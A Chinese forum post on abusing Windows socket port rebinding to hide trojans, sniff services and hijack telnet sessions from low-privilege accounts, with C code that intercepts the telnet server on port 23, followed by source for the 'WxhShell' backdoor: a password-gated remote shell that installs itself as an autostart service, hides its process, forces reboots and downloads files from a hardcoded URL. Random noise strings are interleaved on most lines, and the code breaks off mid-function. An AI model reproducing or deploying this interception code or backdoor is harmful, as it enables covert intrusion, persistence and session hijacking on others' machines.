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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 78~V/L;@S2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Eq;frnw>q  
ZLX`[   
  saddr.sin_family = AF_INET; rWpfAE)!  
VD`2lGdF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9}$dwl(  
= d.W'q|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k#NMD4(%O  
<G?85*Nv_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QjN3j*@  
< ^!eaBR4  
  这意味着什么?意味着可以进行如下的攻击: G*p.JsZP  
QO1Gq9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6;XpLivP7  
-"9)c^KVx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c;}n=7,>:L  
'z!#E!i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \J&#C(pn  
Cy'W!qH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1Klu]J%  
\1 D,Kx;Cb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O[B_7  
u`,R0=<4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bO3KaOC8N  
Bin&:%|9?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,.MG&O  
R:x04!}  
  #include 3-%~{(T/  
  #include [N+ruc?)  
  #include t1s@Ub5);I  
  #include    vz5 RS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *.Hnt\4|  
  int main() S9055`v5  
  { _tJURk%  
  WORD wVersionRequested; o;C)!  
  DWORD ret; dh`A(B{hfc  
  WSADATA wsaData; 4zbV' ]  
  BOOL val; c4W"CD;D  
  SOCKADDR_IN saddr; iPNs EQ0We  
  SOCKADDR_IN scaddr; [c )\?MWW  
  int err; w*@Z-'(j  
  SOCKET s; )@M|YM1+  
  SOCKET sc; .sMi"gg  
  int caddsize; 5*Iz3vTq  
  HANDLE mt; 1&E&8In]$r  
  DWORD tid;   824%]i3  
  wVersionRequested = MAKEWORD( 2, 2 ); ~,1X>N"  
  err = WSAStartup( wVersionRequested, &wsaData ); 0_izTke  
  if ( err != 0 ) { oC>~r 1.j  
  printf("error!WSAStartup failed!\n"); Q-CVq_\3I  
  return -1; Py<vN!  
  } 6 VDF@V$E  
  saddr.sin_family = AF_INET; R_DQtLI  
   NPabM(<`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X~!?t }  
G&Sg .<hn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !\v3bOi&  
  saddr.sin_port = htons(23); ,aL"Wy(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v9kzMxs,  
  { 6Z:|"AwC2  
  printf("error!socket failed!\n"); M!@[lJ  
  return -1; >.>5%  
  } "<b84?V5  
  val = TRUE; Vdyx74xX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H-lRgJdc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \/zS@fz  
  { yY|U}]u!V  
  printf("error!setsockopt failed!\n"); LnIJ wD  
  return -1; X / "H+l  
  } W0hLh<Go  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cH ?]uu(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )~kb 7rfl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qIp`'.#m  
EB,>k1IJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !{\c`Z<#  
  { [r'M_foga*  
  ret=GetLastError(); B9\o:eY  
  printf("error!bind failed!\n"); $R4\jIew V  
  return -1; ,pepr9Yd  
  } 4f5$^uN$qA  
  listen(s,2); t trp| (  
  while(1) hG)lVo!L4j  
  { n_hD  
  caddsize = sizeof(scaddr); vkLG<Y  
  //接受连接请求 #kEdf0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y0^FTSQ|  
  if(sc!=INVALID_SOCKET) ~46ed3eGzi  
  { Atw^C+"vW&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "zc!QHpSd  
  if(mt==NULL) e{/\znBS%  
  { Joj8'  
  printf("Thread Creat Failed!\n"); *z~Y*Q0  
  break; p6*D^-  
  } xa:P(x3[  
  } >[U$n.  
  CloseHandle(mt);  t&]IgF  
  } %yVZ|d*Q  
  closesocket(s); = %m/  
  WSACleanup(); ;2}Gqh)Yr  
  return 0; 2"T&Fp<  
  }   FSk:J~Z;  
  DWORD WINAPI ClientThread(LPVOID lpParam) n\4+xZr  
  { -TWo-iu^  
  SOCKET ss = (SOCKET)lpParam; .>e~J+oL  
  SOCKET sc; suwj1qYJ4  
  unsigned char buf[4096]; 7[\B{N9&W  
  SOCKADDR_IN saddr; `{":*V   
  long num; To+{9"$,  
  DWORD val; 8*ysuL#  
  DWORD ret; xPv&(XZR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h&{pMmS3,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W` V  
  saddr.sin_family = AF_INET; w,7 GC5j\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3z<t#  
  saddr.sin_port = htons(23); tuSgh!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `,O^=HBM  
  { %/y/,yd  
  printf("error!socket failed!\n"); AJ /_l;  
  return -1; }PJ:9<G y  
  } 2ou?:5i  
  val = 100; ?{'Q}%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CpXv?uU   
  { mB\|<2  
  ret = GetLastError(); rX[R`,`>Z[  
  return -1; O%I'   
  } *`W82V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bH&H\ Mx_k  
  { 6SwHl_2%  
  ret = GetLastError(); zob-z=='  
  return -1; w_ m  
  } V SxLBwXf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )yk LUse+  
  { Sn]A0J_  
  printf("error!socket connect failed!\n"); P\R3/g  
  closesocket(sc); ,LvJ'N  
  closesocket(ss); @`yfft  
  return -1; C-7.Sa  
  } 9}-,dgAB  
  while(1) (|-/S0AV  
  { q$K~BgFzpZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 | v+b?@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 03xQ%"TU<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x]:mc%4-Z  
  num = recv(ss,buf,4096,0); dNR4h  
  if(num>0) G2rvi=8=  
  send(sc,buf,num,0); <8Ad\MU  
  else if(num==0) Nuj%8om6  
  break; J_,y?}.e3  
  num = recv(sc,buf,4096,0); l"Css~^  
  if(num>0) Vy biuP  
  send(ss,buf,num,0); @ 9uwcM1F  
  else if(num==0) 8PQ& 7o  
  break; 83h6>D b  
  } "^\4xI  
  closesocket(ss); t|/ /oEY  
  closesocket(sc); ~b+>o  
  return 0 ; ~_q\?pw<$L  
  } ;Wr$hDt^  
5ZPl`[He  
)wC>Hq[mhW  
========================================================== 3,GSBiK3}  
3k=q>~& @  
下边附上一个代码,,WXhSHELL X*b0qJ Z  
"371`!%  
========================================================== &EMm<(.]a  
sU>*S$X8  
#include "stdafx.h" </eh^<_~  
kmf4ax h1  
#include <stdio.h> 8=$@azG  
#include <string.h> eI@O9<.&  
#include <windows.h> .{6TX"M  
#include <winsock2.h> *I~F7Z]|  
#include <winsvc.h> e= '3gzz  
#include <urlmon.h> a*=e 3nS  
#2pgh?  
#pragma comment (lib, "Ws2_32.lib") V!oyC$eV  
#pragma comment (lib, "urlmon.lib") `jJb) z3D  
i"-j:b:c<  
#define MAX_USER   100 // 最大客户端连接数 -Iq#h)Q*  
#define BUF_SOCK   200 // sock buffer twJck~l~n  
#define KEY_BUFF   255 // 输入 buffer *yB!^O  
,[A} 86  
#define REBOOT     0   // 重启 JO _a+Yl  
#define SHUTDOWN   1   // 关机 % R'eV<  
3vy5JTCz~  
#define DEF_PORT   5000 // 监听端口 %j=7e@   
_onHe"%{  
#define REG_LEN     16   // 注册表键长度 ALFw[1X  
#define SVC_LEN     80   // NT服务名长度 <#c2Hg%jh  
k07O.9>  
// 从dll定义API S>6APQ-   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ohwQ%NDl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @x)z" )>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :`_wy-}V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <)M?qkjb  
ct/I85c@P  
// wxhshell配置信息 7n#0eska,  
struct WSCFG { tJ 6:$dh  
  int ws_port;         // 监听端口 PoC24#vS  
  char ws_passstr[REG_LEN]; // 口令 #0weN%  
  int ws_autoins;       // 安装标记, 1=yes 0=no BYu|loc  
  char ws_regname[REG_LEN]; // 注册表键名 e Q0bx&  
  char ws_svcname[REG_LEN]; // 服务名 ?L_#AdK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %bddR;c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &vLZj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jg7IGU(dct  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7m1*Q@D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m'%F,c)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;R/=9l  
E;%{hAD{  
}; 9!o:)99U  
iK)w3S}k1y  
// default Wxhshell configuration )]v vp{  
struct WSCFG wscfg={DEF_PORT, @%RDw*L(  
    "xuhuanlingzhe", 8R)*8bb  
    1, %e3lb<sv6  
    "Wxhshell", +^`c" qJo  
    "Wxhshell", gbo{Zgf<  
            "WxhShell Service", ] Qj65]  
    "Wrsky Windows CmdShell Service", ~fr1O`8  
    "Please Input Your Password: ", jLZ+HYyG9  
  1, P4s:wuJ^  
  "http://www.wrsky.com/wxhshell.exe", 64[j:t=N  
  "Wxhshell.exe" 7pkc*@t  
    }; n`CmbM@@  
:I1bGa&I  
// 消息定义模块 r0_3`; H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +-5CM0*&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bE0cW'6r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a}MOhM6T  
char *msg_ws_ext="\n\rExit."; )5bhyzSZI  
char *msg_ws_end="\n\rQuit."; R\6#J0&Y-  
char *msg_ws_boot="\n\rReboot..."; .0Cpqn,[  
char *msg_ws_poff="\n\rShutdown..."; 16x M?P  
char *msg_ws_down="\n\rSave to "; pp/Cn4"w  
,)%nLc  
char *msg_ws_err="\n\rErr!"; ytHa[U  
char *msg_ws_ok="\n\rOK!"; az7L0pp  
^lbOv}C*  
char ExeFile[MAX_PATH]; F)!B%4  
int nUser = 0; Yr"G)i~"Y  
HANDLE handles[MAX_USER]; KrG$W/<tg  
int OsIsNt; xqLLoSte  
&EZ28k"x  
SERVICE_STATUS       serviceStatus; J1g `0XH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CI ~+(+q  
Zb3E-'G+  
// 函数声明 ln9U>*<  
int Install(void); 2g|+*.*`  
int Uninstall(void); v cqL  
int DownloadFile(char *sURL, SOCKET wsh); Gh|q[s*k  
int Boot(int flag); ~u7a50  
void HideProc(void); l =xy_ TCf  
int GetOsVer(void); I9TOBn|6   
int Wxhshell(SOCKET wsl); X`[or:cB  
void TalkWithClient(void *cs); *S`& X Pj  
int CmdShell(SOCKET sock); L7C!rS  
int StartFromService(void); !c'a<{d@  
int StartWxhshell(LPSTR lpCmdLine); k(!#^Mlz[  
-k")#1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cl)%qIXj}H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); , En D3 |  
{-tCLkE 3  
// 数据结构和表定义   /zM  
SERVICE_TABLE_ENTRY DispatchTable[] = nTp?  
{ LBbk]I  
{wscfg.ws_svcname, NTServiceMain}, x_AG=5OJX,  
{NULL, NULL} { +MqXeq  
}; >4b-NS/}0  
k oZqoP  
// 自我安装 Dtt[a  
int Install(void) Qgf\gTF$r+  
{ K%Jy?7 U  
  char svExeFile[MAX_PATH]; L-",.U*;  
  HKEY key; $D<LND=o=  
  strcpy(svExeFile,ExeFile); _L<IxOZh+  
FNtcI7  
// 如果是win9x系统,修改注册表设为自启动 44]/rP_m  
if(!OsIsNt) { 9^x'x@6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &qF   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q3'\Vj,S&  
  RegCloseKey(key); 0Evq</  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mO(m%3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -}4<P}.5T  
  RegCloseKey(key); K9 :I8E<  
  return 0; hZU @35~BN  
    } =T|Z[/fto  
  } H<Ed"-n$I<  
} k[&+Iy  
else { ]|@RWzA  
wk' |gI[W  
// 如果是NT以上系统,安装为系统服务 mtvfG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uR"(0_  
if (schSCManager!=0) UW8 8JA0  
{ H3nx8R$j](  
  SC_HANDLE schService = CreateService VMe~aUd  
  ( IJhJfr0)Oo  
  schSCManager, |Rf4^vN  
  wscfg.ws_svcname, $&OoxC  
  wscfg.ws_svcdisp, 2 <y!3OeN  
  SERVICE_ALL_ACCESS, ]KBzuz%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (ylpH`  
  SERVICE_AUTO_START, )u7y.o  
  SERVICE_ERROR_NORMAL, vdyLwBz:  
  svExeFile, dX^OV$  
  NULL, =I-SQI8  
  NULL,  :RBp  
  NULL, y_;LTCj?  
  NULL, _ )b:F=4j  
  NULL 4en[!*  
  ); ]_G!(`Udh  
  if (schService!=0) z GhJ  
  { rd vq(\A  
  CloseServiceHandle(schService); lb{<}1YR0o  
  CloseServiceHandle(schSCManager); M[g9D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cNZuwS~,  
  strcat(svExeFile,wscfg.ws_svcname); }uz*6Z(S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0Rz'#O32V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /r^J8B*  
  RegCloseKey(key); A (S=  
  return 0; 1O"7%Pvw  
    } dj3}Tjt  
  } :<=A1>&8  
  CloseServiceHandle(schSCManager); U ]Ek 5p  
} \#?n'qyj  
} !yI , ~`Z  
7 ^>UUdk(  
return 1; z<YOA  
} -Jr6aai3+  
{9S=:  
// 自我卸载 Lnc _)RF  
int Uninstall(void) F@~zVu3'  
{ p~vq1D6  
  HKEY key; 5xtIez]x?  
Ztu _UlGC  
if(!OsIsNt) { 2y s'q !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { By%mJ%$~  
  RegDeleteValue(key,wscfg.ws_regname); @8a1a3_F  
  RegCloseKey(key); |1iCt1~U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z~i=\/~tZ  
  RegDeleteValue(key,wscfg.ws_regname); ?fr -5&,  
  RegCloseKey(key); -HutEbkjx  
  return 0; EdbL AagI6  
  } ]A+q:kP  
} f?}~$agc  
} 5Arx"=c  
else { mltG4R ?  
0n` 1GU)W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )GhMM  
if (schSCManager!=0) vs]#?3+  
{ O{:_-eI&d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O4H %x  
  if (schService!=0) k<x  %  
  { x=7hOI5u  
  if(DeleteService(schService)!=0) { >*rH Nf  
  CloseServiceHandle(schService); nKPvAe(  
  CloseServiceHandle(schSCManager); mMo<C_~w&  
  return 0; ~Y]*TP  
  } 6P@3UQ)}s  
  CloseServiceHandle(schService); 8#b>4 Dx  
  } 5:ca6 H  
  CloseServiceHandle(schSCManager); tai  
} Hry*.s -  
} j[2?}?  
EA_6L\+8&  
return 1; 7v\K,P8  
} ?ra6Lo  
YbjeM6#E  
// 从指定url下载文件 ,QU2xw D[  
int DownloadFile(char *sURL, SOCKET wsh) S^ ij%  
{ ZtG5vdf  
  HRESULT hr; 94Wf ]  
char seps[]= "/"; rN* , U\q  
char *token; H%2Y8}  
char *file; ?fF{M%i-%  
char myURL[MAX_PATH]; 0tV"X  
char myFILE[MAX_PATH]; doM}vh)6  
`uK_}Vy_  
strcpy(myURL,sURL); ~Mu=,OT  
  token=strtok(myURL,seps); ;/.ZjTRw  
  while(token!=NULL) LU "e9  
  { 9*wS}A&Jh  
    file=token; gQHE2$i>  
  token=strtok(NULL,seps); MHZ!noAr  
  } ,2hZtJ<A  
mNUc g{ +/  
GetCurrentDirectory(MAX_PATH,myFILE); (5AgI7I,  
strcat(myFILE, "\\"); aI @&x  
strcat(myFILE, file); TXx%\V_6  
  send(wsh,myFILE,strlen(myFILE),0); B]jI^( P  
send(wsh,"...",3,0); >:7W.QLRU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _h;#\ )%~  
  if(hr==S_OK) j n[%@zD}  
return 0; V$e\84<  
else :$eg{IXC"  
return 1; haj\Dm  
G+Vlaa/7  
} >(>Fx\z}  
1%W|>M`  
// 系统电源模块 h!#!}|Q'  
int Boot(int flag) +Ja9p  
{ .CXe*Vbd  
  HANDLE hToken; 0>PO4WFVJ  
  TOKEN_PRIVILEGES tkp; &Z Ja}5k!r  
?Uz7($}  
  if(OsIsNt) { GWP;; x%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X2ShxD|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7|=*z  
    tkp.PrivilegeCount = 1; JUBihw4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }M%U}k]+@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e> "/Uii  
if(flag==REBOOT) { "n'LF?/H'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K.CwtUt`54  
  return 0; #)im9LLC#  
} $'M:H_T  
else { .^]=h#[e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >C|/%$kk:f  
  return 0; WHh=ht s\  
} "f'pa&oHi  
  } bvM\Qzc!<3  
  else { |UbwPL_L  
if(flag==REBOOT) { xxnMvL;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $O|J8;"v  
  return 0; Rx e sK  
} F,B,D^WD  
else { S(;3gQ77  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `9%Q2Al  
  return 0; Mq7d*Bgb  
} [;5?=X,LD  
} JvFU7`4@  
(bP\_F5D  
return 1; +bnz%/v  
} n~/#~VTVe  
@WuB&uF=d  
// win9x进程隐藏模块 CfFNk "0{  
void HideProc(void) _SS6@`X  
{ "DV.%7*^  
?kvc`7>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?cQ  
  if ( hKernel != NULL ) lW F=bz0  
  { gHS;RF9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I<Vh Eo,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -QaS/WO_  
    FreeLibrary(hKernel); @C),-TM  
  } Vab+58s5  
<fY<.X  
return; %dXfC!  
} /?b<}am  
L|DSEth  
// 获取操作系统版本 WFBg3#p  
int GetOsVer(void) eZ~^Z8F[6  
{ a ^+b(&;k  
  OSVERSIONINFO winfo; #N-NI+qX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qx! NU}6  
  GetVersionEx(&winfo); h[c HCVM:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) = Mc]FCV  
  return 1; V%~u8b  
  else f#xqu +)Z  
  return 0; F*WW v&\X  
} g+ `Ie'o<  
Zxw>|eKI>D  
// 客户端句柄模块 _"`wUMee  
int Wxhshell(SOCKET wsl) 54 8w v  
{ HaeF`gI^Ee  
  SOCKET wsh; >c~~i-=  
  struct sockaddr_in client; MI[=,0`D  
  DWORD myID; %v++AcE  
xBGSj[1`i  
  while(nUser<MAX_USER) eW*nRha  
{ 9.5hQZ  
  int nSize=sizeof(client); B1@c`BJ;9T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [ @> 8Qhw  
  if(wsh==INVALID_SOCKET) return 1; !:3NPjhf1Y  
*(&,&$1K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S\<]|tM:x  
if(handles[nUser]==0) QsYc 9]:  
  closesocket(wsh); SJVqfi3A  
else 8xUmg&  
  nUser++; ;8sEE?C$g  
  } o?P(Fuf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !ViHC}:   
_:om(gL  
  return 0; BY: cSqAW  
} whP>'9t.w  
(E)/' sEb  
// 关闭 socket Ch ` Omq  
void CloseIt(SOCKET wsh) <_""4  
{ 7I4G:-V:^  
closesocket(wsh); hIa@JEIt  
nUser--; qv3L@"Ub  
ExitThread(0); rS9*_-NH  
} M3 8,SH<  
n15c1=gs  
// 客户端请求句柄 z x{\SU  
void TalkWithClient(void *cs) DC`6g#*<  
{ hD\C[C,  
Cm}ZeQ  
  SOCKET wsh=(SOCKET)cs; Jg|3Wjq5  
  char pwd[SVC_LEN]; nLkC-+$tM  
  char cmd[KEY_BUFF]; $i@5'[jA  
char chr[1]; ?|^1-5l3  
int i,j; ,K7C2PV6  
yo V"?W>!  
  while (nUser < MAX_USER) { GMOv$Tn-_L  
{U=za1Ga  
if(wscfg.ws_passstr) { uXeBOLC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j^Zp BNL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jg k@ti.}Z  
  //ZeroMemory(pwd,KEY_BUFF); yB}y'5  
      i=0; X4i$,$C  
  while(i<SVC_LEN) { N|q:wyS|  
vzaxi;S<  
  // 设置超时 fE)+9!  
  fd_set FdRead; s4SR6hBO  
  struct timeval TimeOut; vE?qF9I{$0  
  FD_ZERO(&FdRead); ?Z!itB~  
  FD_SET(wsh,&FdRead); oTOe(5N8a  
  TimeOut.tv_sec=8; }W<]fK  
  TimeOut.tv_usec=0; TO[5h Y\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3v:RLnB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]-{T-*h:  
-$WiB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); txr!3-Ne'!  
  pwd=chr[0]; \@OKB<ra  
  if(chr[0]==0xd || chr[0]==0xa) { zy@ #R;  
  pwd=0; & A9psc(,&  
  break; . 36'=K  
  } OY~5o&Oa  
  i++; ?vf{v  
    } 7Yj\*N  
UDyvTfh1X  
  // 如果是非法用户,关闭 socket y9\s[}c_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1aYO:ZPy  
} :'GTCo$3  
K r]!BI?z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !0Xes0gK0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N!RyncJ  
wrsETB c  
while(1) { \"Sqr(~_  
? dSrY  
  ZeroMemory(cmd,KEY_BUFF); 2%vwC]A  
@u6#Tvxy[  
      // 自动支持客户端 telnet标准   "hog A5=  
  j=0; g;]2'Rj  
  while(j<KEY_BUFF) { aDza"Ln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 94nvh:n  
  cmd[j]=chr[0]; m !;mEBL{  
  if(chr[0]==0xa || chr[0]==0xd) { @ n;WVG  
  cmd[j]=0; u# =N8  
  break; IRo[|&c  
  } 0]>p|m9K^<  
  j++; V^L;Nw5h  
    } HdWghxz?)  
=#%e'\)a  
  // 下载文件 :Fj4YP"  
  if(strstr(cmd,"http://")) { 'U}i<^,c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E C7f  
  if(DownloadFile(cmd,wsh)) 3)0*hq&83  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vn}Vb+@R  
  else ^@X =v`C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@)4H2_u \  
  } Hg(\EEe  
  else { ]iLfe&f  
Iob o5B  
    switch(cmd[0]) { @gX@mT"  
  wK#UFOp  
  // 帮助 8n~@Rj5  
  case '?': { 5W<BEcV\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D"1ciO8^I]  
    break; ]]%C\Ryy}  
  }  5Y9 j/wA  
  // 安装 !2&h=;i~V  
  case 'i': { k7y!! AV  
    if(Install()) s?%1/&.~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YVW!u6W'[6  
    else T/ S-}|fhQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PI0/=kS  
    break; fvNGGn!  
    } XTW/3pB  
  // 卸载 e`}|*^-  
  case 'r': { $$qhX]^ ~  
    if(Uninstall()) J)g(Nw,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _5 y)m5I  
    else PrN?;Z.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yx/:<^"-$  
    break; Ti' GSL  
    } :l9C7o  
  // 显示 wxhshell 所在路径 4dfe5\  
  case 'p': { QG9 2^  
    char svExeFile[MAX_PATH]; @~gz-l^$  
    strcpy(svExeFile,"\n\r"); C5sV-UMR  
      strcat(svExeFile,ExeFile); m5d;lrk@&/  
        send(wsh,svExeFile,strlen(svExeFile),0); ~=c^ Oo:  
    break; 9pjk3a  
    } R~Xl(O  
  // 重启 /Zv}u  
  case 'b': { VCc4nn#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _'j>xK  
    if(Boot(REBOOT)) i, RK0q?>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~GhV4vq  
    else { C!Tl?>Tt  
    closesocket(wsh); RPp_L>&~<  
    ExitThread(0); 54 }s:[O  
    } 'm/b+9?.  
    break; g]d"d  
    } =ARI*  
  // 关机 * rs_k/2(  
